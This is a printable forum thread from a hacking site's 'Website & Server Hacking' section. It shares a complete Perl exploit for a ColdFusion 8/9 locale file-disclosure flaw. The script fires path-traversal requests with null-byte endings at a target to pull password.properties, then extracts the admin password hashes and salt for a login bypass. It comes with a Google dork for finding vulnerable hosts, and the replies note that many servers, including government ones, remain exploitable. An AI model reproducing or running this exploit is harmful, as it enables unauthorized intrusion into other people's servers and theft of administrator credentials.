![]() |
|
Leak ColdFusion 8/9 LFD Perl Exploit - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking) +--- Thread: Leak ColdFusion 8/9 LFD Perl Exploit (/Thread-Leak-ColdFusion-8-9-LFD-Perl-Exploit) |
ColdFusion 8/9 LFD Perl Exploit - Civil - 04-19-2014 This prints the hash/passwords & salt, everything needed to get a valid HMAC and bypass the login for vulnerable ColdFusion sites. Code: #!/usr/bin/perl
# ColdFusion Locale File Disclosure exploit (without Metasploit)
# Google Dork: intitle:"Index of /CFIDE/" administrator
# Date: 30/07/2013
# Vendor Homepage: http://www.adobe.com/
# Author: D35m0nd142
# Tested on: Adobe ColdFusion 8 (using Backbox Linux operating system)
use LWP::UserAgent;
use HTTP::Request;
$agent = LWP::UserAgent->new();
$agent->agent('Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02');
$target = $ARGV[0];
system("clear");
print "+--------------------------------------------------------+\n";
print " ColdFusion Locale File Disclosure exploit \n";
print " created by D35m0nd142 \n";
print "+--------------------------------------------------------+\n";
sleep 1;
if($target eq '')
{
print "Usage: perl cfexploit.pl <target>\n";
exit(1);
}
if($target !~ /http:\/\// )
{
$target = "http://$target";
}
@hosts = ("$target/CFIDE/administrator/index.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/index.cfm?locale=../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",
"$target/CFIDE/wizards/common/_logintowizard.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/archives/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/entman/index.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en",
"$target/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../JRun4/servers/cfusion/cfusion-ear/cfusion-war/WEB-INF/cfusion/lib/password.properties%00en");
print "\n... Exploiting ... \n";
foreach $host (@hosts)
{
$req = $agent->request(HTTP::Request->new(GET=>$host));
if($req->is_success && $req->content !~ /Not Found/ && $req->content !~ /Page not found/ && $req->content !~ /Forbidden/ && $req->content =~ /rdspassword=/ )
{
print "\n[+] Vulnerable URL: $host \n\n";
open(FILE, "> cf_content.txt");
print FILE $req->content;
close(FILE);
$grep = "grep 'password=' cf_content.txt > passwords.txt";
$head = "head -n 2 passwords.txt";
system($grep);
print "+-------------------------------------------------+\n";
print " [+] ColdFusion passwords: \n";
print "___________________________________________________\n";
system($head);
print "___________________________________________________\n";
sleep 1;
print "\n... Retrieving SALT ... \n\n";
sleep 1;
$grep = "grep '<input name=\"salt\" type=\"hidden\" value=' cf_content.txt > cf_salt.txt";
$salt_cut = "cut -d '=' -f 4 cf_salt.txt > cf_salt1.txt";
$salt_cut1 = "cut -d '\"' -f 2 cf_salt1.txt > cf_salt2.txt";
system($grep);
system($salt_cut);
system($salt_cut1);
print "+---------------------------+";
print "\n [+] SALT: \n";
print "_____________________________\n";
system("cat cf_salt2.txt");
print "_____________________________\n";
sleep(1.3);
exit(0);
}
else
{
open(FILE, ">> cf_content.txt");
print FILE "[-] not vulnerable!";
close(FILE);
}
}RE: ColdFusion 8/9 LFD Perl Exploit - rootaccess - 04-29-2014 cool dude im interested in this how much servers are still vulnerable to this ? and for what type of coldfusion machines is it ? i see u havent wrote it yourself? have u tryed it or what ? thx for share RE: ColdFusion 8/9 LFD Perl Exploit - Adorapuff - 04-29-2014 (04-29-2014, 11:08 PM)rootaccess Wrote: cool dude im interested in thisPlenty of servers including .govs are vulnerable to the coldfusion LFI exploit. ColdFusion is a web development platform. RE: ColdFusion 8/9 LFD Perl Exploit - rootaccess - 04-29-2014 (04-29-2014, 11:12 PM)Adorapuff Wrote: Plenty of servers including .govs are vulnerable to the coldfusion RCE exploit. ah cool thanks for the explanation. i would like some more information, of how this works. because the Ts, didnt supplied much info about it. RE: ColdFusion 8/9 LFD Perl Exploit - Reiko - 04-30-2014 Good job on being years late RE: ColdFusion 8/9 LFD Perl Exploit - rootaccess - 04-30-2014 (04-30-2014, 04:09 PM)Reiko Wrote: Good job on being years late so your saying this no longer works ? RE: ColdFusion 8/9 LFD Perl Exploit - Lotus Black - 04-30-2014 Thanks for sharing. I'll test later. RE: ColdFusion 8/9 LFD Perl Exploit - Adorapuff - 04-30-2014 (04-30-2014, 04:35 PM)rootaccess Wrote: so your saying thisIt works, its just very old. Like everyone knows how to exploit up to CF 10 (courtesy of Reiko and KMS) This particular script is from July 2013. RE: ColdFusion 8/9 LFD Perl Exploit - rootaccess - 05-03-2014 Ahhh i understand. Well thanks for all of the information
|